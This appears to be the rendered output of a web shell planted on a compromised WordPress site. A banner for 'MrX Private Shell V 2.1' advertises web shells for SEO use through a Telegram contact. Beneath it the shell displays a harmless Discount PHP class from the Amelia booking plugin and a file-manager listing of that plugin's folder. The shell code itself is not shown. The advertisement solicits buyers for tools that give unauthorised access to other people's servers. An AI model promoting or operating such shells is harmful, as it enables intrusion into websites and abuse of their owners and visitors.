__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @copyright © TMS-Plugins. All rights reserved.
* @licence See LICENCE.md for license details.
*/
namespace AmeliaBooking\Domain\ValueObjects;
/**
* Class Discount
*
* @package AmeliaBooking\Domain\ValueObjects
*/
final class Discount
{
public const PERCENTAGE = 1;
public const FIXED = 2;
/** @var int|null */
private $id;
/** @var float */
private $amount;
/** @var int */
private $type;
/**
* Discount constructor.
*
* @param float $amount
* @param int $type
*/
public function __construct($amount, $type = self::PERCENTAGE)
{
$this->amount = $amount;
$this->type = (int)$type;
}
/**
* @return float
*/
public function getAmount()
{
return $this->amount;
}
/**
* @return int
*/
public function getType()
{
return $this->type;
}
/**
* @return array
*/
public function toArray()
{
return [
'amount' => $this->getAmount(),
'type' => $this->getType(),
];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| DateTime | Folder | 0750 |
|
|
| Number | Folder | 0750 |
|
|
| String | Folder | 0750 |
|
|
| BooleanValueObject.php | File | 632 B | 0640 |
|
| Discount.php | File | 1.1 KB | 0640 |
|
| DiscountFixedValue.php | File | 1.08 KB | 0640 |
|
| DiscountPercentageValue.php | File | 1.1 KB | 0640 |
|
| Duration.php | File | 719 B | 0640 |
|
| Gender.php | File | 870 B | 0640 |
|
| GeoTag.php | File | 1.47 KB | 0640 |
|
| Json.php | File | 549 B | 0640 |
|
| Picture.php | File | 1.7 KB | 0640 |
|
| PositiveDuration.php | File | 803 B | 0640 |
|
| Priority.php | File | 1.18 KB | 0640 |
|
| Recurring.php | File | 4.05 KB | 0640 |
|